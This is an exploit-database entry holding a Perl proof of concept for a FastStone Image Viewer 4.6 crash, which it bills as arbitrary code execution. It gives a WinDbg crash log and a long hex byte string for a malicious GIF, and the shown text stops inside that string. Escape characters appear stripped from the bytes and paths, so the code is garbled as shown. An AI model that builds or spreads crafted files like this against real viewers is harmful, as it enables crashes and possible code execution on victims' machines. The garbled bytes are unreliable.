[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : FastStone Image Viewer 4.6 <= ReadAVonIP Crash PoC
# Published : 2012-10-07
# Author :
# Previous Title : UMPlayer Portable 0.95 Crash PoC
# Next Title : Websense Proxy Filter Bypass


#!/usr/bin/perl
 
# FastStone Image Viewer 4.6 <= ReadAVonIP Arbitrary Code Execution
 
# Author: Jean Pascal Pereira <pereira@secbiz.de>
 
# Vendor URI: http://www.faststone.org
 
# Vendor Description:
# An image browser, converter and editor that supports all major graphic formats including BMP, JPEG, JPEG 2000,
# GIF, PNG, PCX, TIFF, WMF, ICO, TGA and camera raw files. It has a nice array of features such as image viewing,
# management, comparison, red-eye removal, emailing, resizing, cropping, color adjustments, musical slideshow and much more.
 
# Debug info:
# Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
# Copyright (c) Microsoft Corporation. All rights reserved.

# CommandLine: "C:Program FilesFastStone Image ViewerFSViewer.exe" C:researchfsviewcrafted.gif
# Symbol search path is: *** Invalid ***
# ****************************************************************************
# * Symbol loading may be unreliable without a symbol search path.           *
# * Use .symfix to have the debugger choose a symbol path.                   *
# * After setting your symbol path, use .reload to refresh symbol locations. *
# ****************************************************************************
# Executable search path is: 
# ModLoad: 00400000 00a5a000   image00400000
# ModLoad: 7c900000 7c9b2000   ntdll.dll
# ModLoad: 7c800000 7c8f6000   C:WINDOWSsystem32kernel32.dll
# ModLoad: 77dd0000 77e6b000   C:WINDOWSsystem32advapi32.dll
# ModLoad: 77e70000 77f03000   C:WINDOWSsystem32RPCRT4.dll
# ModLoad: 77fe0000 77ff1000   C:WINDOWSsystem32Secur32.dll
# ModLoad: 73b50000 73b67000   C:WINDOWSsystem32avifil32.dll
# ModLoad: 77c10000 77c68000   C:WINDOWSsystem32msvcrt.dll
# ModLoad: 7e410000 7e4a1000   C:WINDOWSsystem32USER32.dll
# ModLoad: 77f10000 77f59000   C:WINDOWSsystem32GDI32.dll
# ModLoad: 76b40000 76b6d000   C:WINDOWSsystem32WINMM.dll
# ModLoad: 774e0000 7761e000   C:WINDOWSsystem32ole32.dll
# ModLoad: 77be0000 77bf5000   C:WINDOWSsystem32MSACM32.dll
# ModLoad: 75a70000 75a91000   C:WINDOWSsystem32MSVFW32.dll
# ModLoad: 7c9c0000 7d1d7000   C:WINDOWSsystem32SHELL32.dll
# ModLoad: 77f60000 77fd6000   C:WINDOWSsystem32SHLWAPI.dll
# ModLoad: 773d0000 774d3000   C:WINDOWSWinSxSx86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.6028_x-ww_61e65202COMCTL32.dll
# ModLoad: 763b0000 763f9000   C:WINDOWSsystem32comdlg32.dll
# ModLoad: 77120000 771ab000   C:WINDOWSsystem32oleaut32.dll
# ModLoad: 74810000 7497e000   C:WINDOWSsystem32quartz.dll
# ModLoad: 77c00000 77c08000   C:WINDOWSsystem32version.dll
# ModLoad: 73000000 73026000   C:WINDOWSsystem32winspool.drv
# (dd8.ef4): Break instruction exception - code 80000003 (first chance)
# ModLoad: 76390000 763ad000   C:WINDOWSsystem32IMM32.DLL
# ModLoad: 5ad70000 5ada8000   C:WINDOWSsystem32uxtheme.dll
# ModLoad: 74720000 7476c000   C:WINDOWSsystem32MSCTF.dll
# ModLoad: 755c0000 755ee000   C:WINDOWSsystem32msctfime.ime
# ModLoad: 5edd0000 5ede7000   C:WINDOWSsystem32olepro32.dll
# ModLoad: 77920000 77a13000   C:WINDOWSsystem32SETUPAPI.dll
# ModLoad: 76990000 769b5000   C:WINDOWSsystem32ntshrui.dll
# ModLoad: 76b20000 76b31000   C:WINDOWSsystem32ATL.DLL
# ModLoad: 5b860000 5b8b5000   C:WINDOWSsystem32NETAPI32.dll
# ModLoad: 769c0000 76a74000   C:WINDOWSsystem32USERENV.dll
# ModLoad: 73bc0000 73bc6000   C:WINDOWSsystem32DCIMAN32.DLL
# ModLoad: 77b40000 77b62000   C:WINDOWSsystem32appHelp.dll
# ModLoad: 76fd0000 7704f000   C:WINDOWSsystem32CLBCATQ.DLL
# ModLoad: 77050000 77115000   C:WINDOWSsystem32COMRes.dll
# ModLoad: 77a20000 77a74000   C:WINDOWSSystem32cscui.dll
# ModLoad: 76600000 7661d000   C:WINDOWSSystem32CSCDLL.dll
# ModLoad: 76bf0000 76bfb000   C:WINDOWSsystem32psapi.dll
# ModLoad: 75f80000 7607d000   C:WINDOWSsystem32browseui.dll
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=0000320e ebx=007fcdf2 ecx=0012c000 edx=00130000 esi=0011f7b8 edi=00000000
# eip=007cdea2 esp=0011f750 ebp=0011f770 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# *** WARNING: Unable to verify checksum for image00400000
# *** ERROR: Module load completed but symbols could not be loaded for image00400000
# image00400000+0x3cdea2:
# 007cdea2 893a            mov     dword ptr [edx],edi  ds:0023:00130000=78746341
# 0:000> g;g;r;!exploitable -v;q
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# (dd8.ef4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00000000 edx=7c9032bc esi=00000000 edi=00000000
# eip=00000000 esp=0011efb0 ebp=0011efd0 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# 00000000 ??              ???
# HostMachineHostUser
# Executing Processor Architecture is x86
# Debuggee is in User Mode
# Debuggee is a live user mode debugging session on the local machine
# Event Type: Exception
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - 
# Exception Faulting Address: 0x0
# First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
# Exception Sub-Type: Read Access Violation

# Exception Hash (Major/Minor): 0x30337b6e.0x4a092676

# Stack Trace:
# Unknown
# ntdll!RtlConvertUlongToLargeInteger+0x6a
# ntdll!RtlConvertUlongToLargeInteger+0x3c
# ntdll!KiUserExceptionDispatcher+0xe
# ntdll!RtlConvertUlongToLargeInteger+0x3c
# ntdll!KiUserExceptionDispatcher+0xe
# image00400000+0x3ce1ad
# image00400000+0x3ce423
# Instruction Address: 0x0000000000000000

# Proof of Concept:
 
my $crafted =

"x47x49x46x38x39x61x32x00x32x00x84x00x00x8Cx8Ax8C".
"xC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4x9Cx9Ax9CxF4".
"xF6xF4xBCxBAxBCx94x92x94xCCxCExCCxECxEExECxDCxDE".
"xDCxB4xB2xB4xA4xA2xA4xFCxFExFCx8Cx8Ex8CxCCxCAxCC".
"xECxEAxECxACxAAxACxDCxDAxDCx9Cx9Ex9CxFCxFAxFCxBC".
"xBExBCx94x96x94xD4xD2xD4xF4xF2xF4xE4xE2xE4xE4xE4".
"xE4x00x00x00x00x00x00x00x00x00x00x00x00x21xFFx0B".
"x4Ex45x54x53x43x41x50x45x32x2Ex30x03x01x00x00x00".
"x21xF9x04x09x06x00x1Bx00x2Cx00x00x00x00x32x00x32".
"x00x00x05xFExE0x26x8Ex64x49x0Ax91x92x09x22x74x04".
"xD8x62xCEx74x5Dx0Ax99xE1x54x8ExA3x88x8Cx07xE0x71".
"x19x58x26x1Ax9Bx92x16xD1xF5x9Ex3ExE0x10x30x7Dx48".
"x12xC9xE5xB2x09xEDxFEx36x8CxA1x50x48x7Dx34x30x59".
"xADx09xD7x6Dx7Fx83xD4x6AxF9xC1x90xA9x49xDCxB6x57".
"xFAx20x8FxABx14x04x77x23x19x7Ax6Ex7Cx65x53x8Ax0F".
"x08x09x83x22x4Ex86x3Dx6Fx7Ex55x63x42x14x13x6Ax11".
"x2Cx1Bx02x91x86x6Fx62x8Bx55x05x82x5Ax02x3Bx9Dx1B".
"xA0x5Dx15x11x22x16x05x7Dx72x63x05x9Ax22x2Bx35x02".
"x3CxAAx22x6Cx50x15x0Ax11x69x1Bx0Bx13x01x03xB4xB6".
"xA7xACxBEx33x85x4Fx15xABx4ExD3x4Bx04x12xCCx23x91".
"x19x33x11x6DxD6x1Bx11x19xB0x6Ax1Ax10x17xA6xBFxD1".
"x4FxE5x24xADx3DxE1x8Fx22x13xB8xCExAEx25xDFx86xF2".
"xF3xBFxF0x3DxEExEExE9xE1xD7x8Fx5Dx1Bx03x23x52x49".
"x0AxD8x4Fx9Cx24x07xE5x0Cx76x41xD8xB0x44x2Fx3DxDD".
"x04xB6x61x58x51xE1x40x4Fx92x2Ax54x9CxF1xAFx07x0A".
"x49x5FxE9x46x92x50xB0x90xA5x21x8Ex23x3DxBAx91x28".
"x6Dx95xCAx5Fx17xBBx90x53x91x81xA7x8Ax94x37x47x8C".
"xF3x99xA1x27xCCxA0x48x93xDEx49xD1xF3xA7x8AxA3x23".
"x15x38x6Dx4Ax8Ex66x3Cx9Bx37x79x19xEAxB9x50xA9x4C".
"x2FxFAxF4x00xBDxE9x52x0FxA7x9Cx50x28x22xADx80xF6".
"x09x8BxB6xEDx90x7Ex0Dx26xA2xECx41xA4x25x1Dx64x0C".
"x6BxF6x26xDFx8DxDBx42x62x9Dx67x35x1Ex1ExC1x2Ax81".
"x01x26x01x97xE0x20x01xD4xC0x99xF8xFBx0Cx07xD4x19".
"x0AxD8x76x1AxD7x05xA6x41x79x4Ex0Cx5CxF6x57x33x70".
"x8Fx8Cx6Bx7Ax85xFBx34x71x98x4DxC8x0AxE0xADx2ExE4".
"x58xA8x66x42x21xCBx65x7Ex28x8Fx9Cx12x4ExA6xBBx6E".
"x28x1Cx6CxB0x16xE2x71x35x22x1Ex84x3Cx79xF3xE4x4B".
"xE1xEEx19xFEx30xDEx68x1Ax8Ax43xE5xAAxAExABx62x04".
"xE9x51xA8xEFxBBxBExE9xDFx17xABxAFx94x8Ax48x91xF3".
"x7CxB0xEExEAx4Fx30x2Dx37x14xF8xBCx10x00x21xF9x04".
"x09x06x00x1Cx00x2Cx00x00x00x00x32x00x32x00x84x8C".
"x8Ax8CxC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4x9Cx9A".
"x9CxF4xF6xF4xB4xB6xB4x94x92x94xCCxCExCCxECxEExEC".
"xDCxDExDCxACxAExACxA4xA2xA4xFCxFExFCxBCxBExBCx8C".
"x8Ex8CxCCxCAxCCxECxEAxECxDCxDAxDCx9Cx9Ex9CxFCxFA".
"xFCxBCxBAxBCx94x96x94xD4xD2xD4xF4xF2xF4xE4xE2xE4".
"xB4xB2xB4xE4xE4xE4x00x00x00x00x00x00x00x00x00x05".
"xFEx20x27x8Ex64x49x0Ax92x92x09xA2x94x49x12x6BxCE".
"x74x7Dx66x86x53x39x8Ex22x66x3Cx9Ex61x65x2BxD6x24".
"xB9x60xD0xC7x01x2Ax85x12xA3x94x83x7Cx2Ax99x4ExAB".
"x4Ex36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxAB".
"xE6x55xB8x5Dx30x99xDDxD6x45xCFx9CxA4x9AxDEx7Ex4F".
"x63x22x02x7Ax61x7Cx64x7Ex52x02x5Bx23x83x4Fx15x77".
"x0Ax3Bx86x32x1Ax07x18x35x02x91x87x5Fx8Dx0Ax12x1A".
"x27x29x91x4Ax87x1Ax0Cx00x14x9Fx33x60x87x79x6Ex70".
"x34x69x8Ax1CxA5x10x10x00x1BxA9x24x12x56x87x2Ex77".
"x7FxB2xA5x00xB6xB5x96x25x8CxAEx78xBAx93x0CxC4x00".
"xC3x0DxB9x54x92xCAx25xC2xC3xC3xC4x11x24xC8x41xAC".
"xD5x1Cx1BxD8xCExB5x03xA9x89x64xBFxE0x1Cx09xB6xCF".
"xD8xCFx10x13x63x61x06xEBx24xC2xB5xE3xB6x0Fx22xDD".
"x3CxEAxEEx61x70x06x0Fx42x03x0ExE8xB4x54xB8x67x62".
"x40xBCx77xC3x2Ex4CxD8x45x88x61x89x00xF1x88xB9xC3".
"xA0x20x9Dx45x12x04x10x8Cx1Bx17x40x8ExB7x57x0CxDB".
"x17x14x20x87xCDx42x8Ax0Cx19x54xC4x8CxF9xF1xA2x85".
"x07x38x73x3Ex48x50xB3xA7xCFx6Ax2Fx15xA8x10xFAxE2".
"x27x07xA2x48x55xB8x08xF3xCDx22xA6x30x31x3DxF6x4C".
"x68xA5xD3x1Cx9Fx1DxC3xC4x10xF5xC4x5ExCFx0Ax5Cx95".
"xB0x08xABx24xE0x3AxAAx8Dx44x64xD5xE2xD5xE2x3Fx07".
"x19x5AxA8x31xABx8CxA2xD6x45xD4xEEx99xF4xA6x2BxEF".
"xD9xBDx0Ex02x92x95x55x4Dx00x17x64x0Bx4BxD8x3Dx19".
"xA8x68x17x48xBDxE4xD0x5Dx75x18x8Ax11x41x8CxFDx95".
"xA1xF1x54x16x66x25x06x3AxC1x31xACx00xB1x8Cx4Dx4D".
"x75x81xE5x02xD8x8ExDAxC1x99x9BxD0x5Dx86x77x2Ex3D".
"x35xA9xA5xB4x0Ex72xE7xEDx28x94x45x76xF3xBExDDx66".
"xF6x11xD8x57x88x33x35x6Ex63xD3x1ExE5x56xCCx80x93".
"x80xBCx50x23xE6x67x62x25x6FxA2x10x3Bx50x48xDBx57".
"x49x37x1AxE8xE5x1Dx17xA2xABx85x00x00x21xF9x04x09".
"x06x00x1Dx00x2Cx00x00x00x00x32x00x32x00x84x8Cx8A".
"x8CxC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4x9Cx9Ax9C".
"xF4xF6xF4xB4xB6xB4x94x92x94xCCxCExCCxECxEExECxAC".
"xAExACxDCxDExDCxA4xA2xA4xFCxFExFCxBCxBExBCx8Cx8E".
"x8CxCCxCAxCCxECxEAxECxACxAAxACxDCxDAxDCx9Cx9Ex9C".
"xFCxFAxFCxBCxBAxBCx94x96x94xD4xD2xD4xF4xF2xF4xB4".
"xB2xB4xE4xE2xE4xE4xE4xE4x00x00x00x00x00x00x05xFE".
"x60x27x8Ex64x49x0Ax92xA2x09xA2xA4x49x12x6BxCEx74".
"x7Dx6Ax86x63x39x8Ex22x6Ax3Cx9Ex61x65x2BxD6x24xB9".
"x60xD0xD7x01x2Ax85x12xA3xB4x83x7Cx2Ax99x4ExABx4E".
"x36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxABxE6".
"x59xB8x5Dx30x99xDDxD6x45xCFx9DxA4x9AxDEx7Ex4Fx63".
"x22x02x7Ax61x7Cx64x7Ex52x02x5Bx23x83x4Fx16x77x0A".
"x3Bx86x5Cx2Fx35x02x91x87x5Fx8Dx0Ax12x1Cx27x29x91".
"x4Ax87x79x8Ax33x60xA2x49xA2x47x7AxA7x65x33x12x56".
"x87x2Ex77x7FxA4x99x4AxB3x8Bx5AxA9x78x80x63x8Dx25".
"xAFx61xBBx78x1DxB6x56xB8x8CxA1x70xC4x4Dx64x06x23".
"x89x64xB8xCCx1Dx0Ax6Ax77x72x4AxCFxD4x25xA0x56x1A".
"x22xC9x41xD3xDCxD1xBAxC5x86xDCx33xE2x3Cx28x73xEA".
"x26xD6x61x29xD2xF0x25xE6x56x2AxC2xCBxF0x96x61x2F".
"x2Ax34x04x54xC1xC4x1Ex09x17x03x35x08x24x67xB0xA1".
"xC3x33x29x04x12x54xC1x10x5Ex80x07x0Fx2Ex60xC4x78".
"x21x41x36x37xFCxD4x31x28x00x00x42x49x00x25xDCx21".
"x5Cx90xA7xA5x22x35x02x08x4Ex9Ax34x09x20x40x30x2D".
"x05x0Dx06x40x39x53x66x06x7Fx5AxB6x35x1Cx20x53x26".
"x02x06x1DxBCx3Dx71x89x07x66x51x94x00x1Ax88x60x69".
"x45xA8x3Ax0Ex13x8Ax42xD8x0AxE1x41x8Bx6BxF6x12xF4".
"x3CxC9x93x42xAEx7DxF0x36xCCxECxB9x75x40xA7xAFx68".
"xAFx2ExD0x5Ax32x42x37x5Dx21xA7x08x90xC1x61x2ExDB".
"x06x6FxD1xC0x92xF1x85x69x3Cx0Bx87xFAxCAx84x90xA1".
"x94xB2xB3x06x0Cx17x5BxC5x37x2BxCAx0Dx81x4Fx5Cx22".
"xCCxC8xC0x26x38x7Bx15x24x4BxBCx00x42x05xA4x34x24".
"x20x9Ex64xE8x91xD2x46x7Cx37x34xB6xD1x6Bx14xD8x66".
"x7DxF2x16xF9xB8x34x5Cx1Dx52x71x7Ex63xFBxEDx40x32".
"xB0xD7xF9x7CxA9x71xC4xCCx18x21xE5xFFx74x4Bx51xFD".
"x0ExB7x2ExE3xD3xC5x15x0AxC2xFCx21x15x48x57xA0x5B".
"x30xE3xDDx13xC5x16x0BxA5xD7x08x01x00x21xF9x04x09".
"x06x00x1Cx00x2Cx00x00x00x00x32x00x32x00x84x8Cx8A".
"x8CxC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4x9Cx9Ax9C".
"xF4xF6xF4xBCxBAxBCx94x92x94xCCxCExCCxECxEExECxAC".
"xAExACxDCxDExDCxA4xA2xA4xFCxFExFCx8Cx8Ex8CxCCxCA".
"xCCxECxEAxECxACxAAxACxDCxDAxDCx9Cx9Ex9CxFCxFAxFC".
"xBCxBExBCx94x96x94xD4xD2xD4xF4xF2xF4xB4xB2xB4xE4".
"xE2xE4xE4xE4xE4x00x00x00x00x00x00x00x00x00x05xFE".
"x20x27x8Ex64x49x0Ax91x92x09x62x94x45x11x6BxCEx74".
"x7Dx66x86x53x39x8Ex22x66x3Cx9Ex61x65x2BxD6x22xB9".
"x60xD0xC7x01x2Ax85x11xA3x94x83x7Cx2Ax99x4ExABx4E".
"x36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxABxE6".
"x55xB8x5Dx30x99xDDxD6x45xCFx9CxA4x9AxDEx7Ex4Fx63".
"x22x02x7Ax61x7Cx64x7Ex52x02x5Bx23x83x4Fx15x77x0A".
"x3Bx86x5Cx2Fx35x02x91x87x5Fx8Dx0Ax11x1Bx27x29x91".
"x4Ax87x79x8Ax33x60xA2x49xA2x47x7AxA7x65x33x11x56".
"x87x2Ex77x7FxA4x99x4AxB3x8Bx5AxA9x78x80x63x8Dx25".
"xAFx61xBBx78x1CxB6x56xB8x8CxA1x70xC4x4Dx64x06x23".
"x89x64xB8xCCx1Cx0Ax6Ax77x72x4AxCFxD4x25xA0x56x19".
"x22xC9x41xD3xDCxD1xBAxC5x86xDCx33xE2x3Cx28x73xEA".
"x26xD6x61x29xD2xF0x25xE6x56x2AxC2xCBxF0x96x61x2F".
"x2Ax32x04x54xC1xC4x1Ex09x17x03x33x08x24x67xB0xA1".
"xC3x33x29x04x12x54xC1x10x9Ex82x89x12x5Fx64x73xC3".
"x4Fx9Dx3Fx2Dx02xEBx39xC4xF7x64xD3x3Bx87xF2xE2xB4".
"xC4xF0xA6xEDx61x05x96x41x58xC0x1CxD7x90x64x28x11".
"x29xADx6CxB3xC7xCEx01x38x2AxD7xECx05x9Bx97x6Bx1F".
"xBCx8Dx6Ex0Ex4AxEAx87x74xDAxCCx61x5Dx26x4Cx28x7A".
"x13x18x2Cx19x5Fx2AxCExD8x90xE0x42x81xA9xC5x18x31".
"x34xC5x25x89x01xADx23x08x48x78xF0x00x00x05xB0xCD".
"x78xFCxF4x72x09x2Bx23x03x9BxE0x30x98x10x60x00x5B".
"x00x6Dx01x7Cx0Dx04x04x6Ax8Bx97x93x0CxDDx39x50xA0".
"x6Dx60xC7x00x04xC3xA5x64xA3xD7xA8xA0x1Cx34x40xFE".
"xEBx98x6Dx01x02xCCx90xDEx12xB1x00x32xE0xD3x8Fx07".
"x9Fx11x3Dx3AxF3x63xD3x9Dx11x24xE0x35xB3xA4x08x0D".
"xA8x23x73x06x4Cx01x03x33x63x84x48x9Fx06xFCx18xB0".
"x06x06xEAx22xD4x16x93x99xB8x6ExE2x0Dx30x74x12x2A".
"x8Ex09x6ExE7x6Cx25x40x98xEExF0xD3x15xE1x6Dx2Fx34".
"xB0x30x81xFBx43x68x11xEFx04x38x10x00x03x72x62x21".
"x00x00x21xF9x04x09x06x00x1Cx00x2Cx00x00x00x00x32".
"x00x32x00x84x8Cx8Ax8CxC4xC6xC4xE4xE6xE4xA4xA6xA4".
"xD4xD6xD4x9Cx9Ax9CxF4xF6xF4xB4xB6xB4x94x92x94xCC".
"xCExCCxECxEExECxDCxDExDCxACxAExACxA4xA2xA4xFCxFE".
"xFCxBCxBExBCx8Cx8Ex8CxCCxCAxCCxECxEAxECxDCxDAxDC".
"x9Cx9Ex9CxFCxFAxFCxBCxBAxBCx94x96x94xD4xD2xD4xF4".
"xF2xF4xE4xE2xE4xB4xB2xB4xE4xE4xE4x00x00x00x00x00".
"x00x00x00x00x05xFEx20x27x8Ex64x49x0Ax92x92x09xA2".
"x94x49x12x6BxCEx74x7Dx66x86x53x39x8Ex22x66x3Cx9E".
"x61x65x2BxD6x24xB9x60xD0xC7x01x2Ax85x12xA3x94x83".
"x7Cx2Ax99x4ExABx4Ex36x35x09xB2xDAxDEx2Fx1Cx24x76".
"x47x55x32x0FxABxE6x55xB8x5Dx30x99xDDxD6x45xCFx9C".
"xA4x9AxDEx7Ex4Fx63x22x02x7Ax61x7Cx64x7Ex52x02x5B".
"x23x83x4Fx15x77x0Ax3Bx86x5Cx2Fx35x02x91x87x5Fx8D".
"x0Ax12x1Ax27x29x91x4Ax87x79x8Ax33x60xA2x49xA2x47".
"x7AxA7x65x33x12x56x87x2Ex77x7FxA4x99x4AxB3x8Bx5A".
"xA9x78x80x63x8Dx25xAFx61xBBx78x1CxB6x56xB8x8CxA1".
"x70xC4x4Dx64x06x23x89x64xB8xCCx1Cx0Ax6Ax77x72x4A".
"xCFxD4x25xA0x56x19x22xC9x41xD3xDCxD1xBAxC5x86xDC".
"x33xE2x3Cx28x73xEAx26xD6x61x29xD2xF0x25xE6x56x2A".
"xC2xCBxF0x96x61x2Fx2Ax32x04x54xC1xC4x1Ex09x17x03".
"x33x08x24x67xB0xA1xC3x33x29x04x12x54xC1x10x9Ex82".
"x89x12x5Fx64x73xC3x4Fx9Dx3Fx2Dx02xEBx39xC4xF7x64".
"xD3x3Bx87xF2xD6xB4xC4xF0xA6xEDx61x05x96x41x58xC0".
"x1CxD7x90x64x28x11x29xADx6CxB3xC7xCEx01x38x2AxD7".
"xECx05x9Bx97x6Bx1FxBCx8Dx6Ex0Ex4AxEAx87x74xDAxCC".
"x61x5Dx04x70x49x56xC1xC4xD0x20x87x34x1Cx88xD0x69".
"x0AxA4x58x72x18x9Ax92xA1x81x01x00x08x0Cx08x18x49".
"x43x6Ax14x8Fx9Fx5Ex2Ex91x65x00x01x80x5Dx08x03x02".
"x4Cx58xE0x49x81x01x96x98x80x40x6DxF1x72x6Ex5Dx08".
"x87xEDx22xB8x80x01xE7xCBxA5x3Fx2AxA2x31x7CxB6x72".
"x62x08x11x7CxA9x19x6CxA3xECxE5xBBx96x33x37xABxC3".
"x99xC6x86xC4x96x53x8Bx46x7Ax0Cx0Fx06x0Ax9FxEBx86".
"xD6x6Cx48xB2x8Dx05xA7x41xA7x06xB0xBAx8Dx19x66x1A".
"x30x34x88x7DxB6xB7x30xDBx5Dx34x24x18x80x58x35x4E".
"x5DxC8x89x69x98xF0xA0xC1x85xC3xC6xDDxFCx7Ex48x62".
"x01x86x00x16xD4x56x5BxD8xD1x48x08x00x21xF9x04x09".
"x06x00x1Bx00x2Cx00x00x00x00x32x00x32x00x00x37xFE".
"xE0x26x8Ex64x49x0Ax91x92x09x62x94x45x11x6BxCEx74".
"x7Dx66x86x53x39x8Ex22x66x3Cx9Ex61x65x2BxD6x22xB9".
"x60xD0xB7x01x2Ax85x11xA3x74x83x7Cx2Ax99x4ExABx4E".
"x36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxABxE6".
"x55xB8x5Dx30x99xDDxD6x45xCFx9BxA4x9AxDEx7Ex4Fx63".
"x22x02x7Ax61x7Cx64x7Ex52x02x5Bx23x83x4Fx15x77x0A".
"x3Bx86x5Cx2Fx35x02x91x87x5Fx8Dx0Ax11x1Ax27x29x91".
"x4Ax87x79x8Ax33x60xA2x49xA2x47x7AxA7x65x33x11x56".
"x87x2Ex77x7FxA4x99x4AxB3x8Bx5AxA9x78x80x63x8Dx25".
"xAFx61xBBx78x1BxB6x56xB8x8CxA1x70xC4x4Dx64x06x23".
"x89x64xB8xCCx1Bx0Ax6Ax77x72x4AxCFxD4x25xA0x56x19".
"x22xC9x41xD3xDCxD1xBAxC5x86xDCx33xE2x3Cx28x73xEA".
"x26xD6x61x29xD2xF0x25xE6x56x2AxC2xCBxF0x96x61x2F".
"x2Ax32x04x54xC1xC4x1Ex09x17x03x33x08x24x67xB0xA1".
"xC3x33x09x2Cx48x3Cx60x81xA2x85x00x0Fx45x10xDCxB8".
"xF0x00x00x00x0Fx40x8Ax2CxB0xE0xA1x3Fx2Dx19xDDx02".
"x84x5Cx29x12x01x81x87x11xBCx5DxC1xC0x32xA4x48x8C".
"x0Ex83x69x89x30xE1xC2xC7x95x2Bx07x3Cx64xE7x80x45".
"x03x9Bx2Cx41xBEx34xA8x13x96x08x0Bx22x6Bx3Ex90xD0".
"xC9x1Ex51x70x1Bx26xD4x14x09x32x81xBDxA6xC7x44x68".
"x18xB0x75xE5x85x09xF0xB2x05xA9x40x02x42x59x90x05".
"xD0xAAx33xF6x04x97x86xA3x5Cx43x16x58xCAx4Cx00x97".
"x64x6Cx4BxD0x04xB9x32x6Ex20x4Ax5Dx20xC5x92x43x4E".
"x03x83xA8x7Bx73x39x30xC0xF0xDExAAxBFxADx66x2CxA0".
"x00x57xAExA0x27x06x36xC1xF1xABx00xB0x8Cx4CxC3x46".
"x10x40x10xD9x97xAEx47x32x1Bx4DxAAx3Cx22x81xDCx66".
"xD7x5Cx4Bx62xA6xB6x6ExB8x3AxA4xE2x00xC7x06xDCx01".
"x6Dx1Ax31xEBx14x12x76xBCx52xEFx25xBAx51xF2x3Bx93".
"x9Cx50xF4x50xCDxBBxA4x79xB2xDCx4Dx76x62x9FxAExE8".
"xAEx60x26xA3x27x15x77x10xF6xC2x13x02x00x21xF9x04".
"x09x06x00x1Bx00x2Cx00x00x00x00x32x00x32x00x00x05".
"xFExE0x26x8Ex64x49x0Ax91x92x09x62x94x45x11x6BxCE".
"x74x7Dx66x86x53x39x8Ex22x66x3Cx9Ex61x65x2BxD6x22".
"xB9x60xD0xB7x01x2Ax85x11xA3x74x83x7Cx2Ax99x4ExAB".
"x4Ex36x35x09xB2xDAxDEx2Fx1Cx24x76x47x55x32x0FxAB".
"xE6x55xB8x5Dx30x99xDDxD6x45xCFx9BxA4x9AxDEx7Ex4F".
"x13x13x22x02x7Ax61x7Cx64x7Ex52x04x08x05x81x22x84".
"x4Fx15x77x0Ax3Bx87x5Cx2Fx35x0Bx14x0Fx00x8Cx82x72".
"x15x0Ax11x1Ax27x29x94x4Ax88x79x5Bx33x1Ax0Cx9Bx9B".
"x14x8Dx4Dx6Ex70x34x69xAAx8Ex65x33x18x0FxAEx00x9C".
"x8Dx5Fx77x53x11xB7x5Fx4FxC2x22x1Ax0Dx00xAExBCxBF".
"x78x27x5Cx8Fx3Ax25x10xCEx9BxBExBCx9DxD0x37x61xC2".
"x1Ax03xBDxD7x00x17xB1xDCxB2x61x06x23x13xE2xD9xCC".
"x09xE7x24xC4x64x77x16xCCxF7xBDx12xA3xF1x23xD3xB9".
"x1Bx0DxDAx31x7Bx40x80x9FxBCx43x1Bx16x20x10xE7x6A".
"x80xC1x12xA6xACx08xC0x80xEFx9ExAFx00x0Fx0Fx7Ax0B".
"x50xB1x99xB9x87x02xE6x1Cx10xF8xA0xC0x82x8Cx23xDE".
"x04x44x54x92x21x81x85x97x30x5Fx62x44x89x26x83x0A".
"x9Bx19x6Cx22xA3xC9xB3xA7x91x14x36x55x28x50xB1x33".
"xE3xD0xA0x48x5Dx84x41x95x51x65x18x9BxF4x78x86x2C".
"x34x4Fx0Bx13x94x0AxE8x39xD5xA2x8Ex66x85x95x41x58".
"x80x0Dx52xF4xDCx54x2Dx15x44x64x4Dx87xD2x1Fx8Fx0C".
"x2DxD4x94xC5x53x55x8Bx30xB7xB7xE2xC9x39xA5x11x2D".
"x2Dx68xC6xECx42xF4x1Bx4Fx80x34x2Bx69x4BxD4x9DxE5".
"x69x2Ex8Dx49x88x94x2Ax29x0Bx06x55x12x03x8Ex53xEA".
"xB1xFCxCFx0Bx25x44x83x9Ex18x08x05xC7xB0x82x69xA0".
"x81x30x55xFCxD5xD2x21x49x63x83xA0xBAx64x23x46xBF".
"x36x77xF6x22xFEx2Bx45xF7x31x5Cx75x56x1BxF1xFDx1B".
"x5Dx9DxCCx33x22xC4xBEx32xA6x0Fx72x1Ax81xE7x34x27".
"x63xE6x9Cx72xE9xC6x11x3Fx1FxE6xCFx90xECxEDx74x27".
"x31xCFx5ExA1xBAx4Fx41x40xEFxB8x20xCDx2Dx04x00x21".
"xF9x04x09x06x00x1Bx00x2Cx00x00x00x00x32x00x32x00".
"x84x8Cx8Ax8CxC4xC6xC4xE4xE6xE4xA4xA6xA4xD4xD6xD4".
"xF4xF6xF4xB4xB6xB4x9Cx9Ax9CxECxEExECxACxAExACxDC".
"xDExDCx94x96x94xCCxCExCCxFCxFExFCxBCxBExBCxA4xA2".
"xA4x8Cx8Ex8CxECxEAxECxACxAAxACxDCxDAxDCxFCxFAxFC".
"xBCxBAxBCx9Cx9Ex9CxF4xF2xF4xB4xB2xB4xE4xE2xE4xD4".
"xD2xD4xE4xE4xE4x00x00x00x00x00x00x00x00x00x00x00".
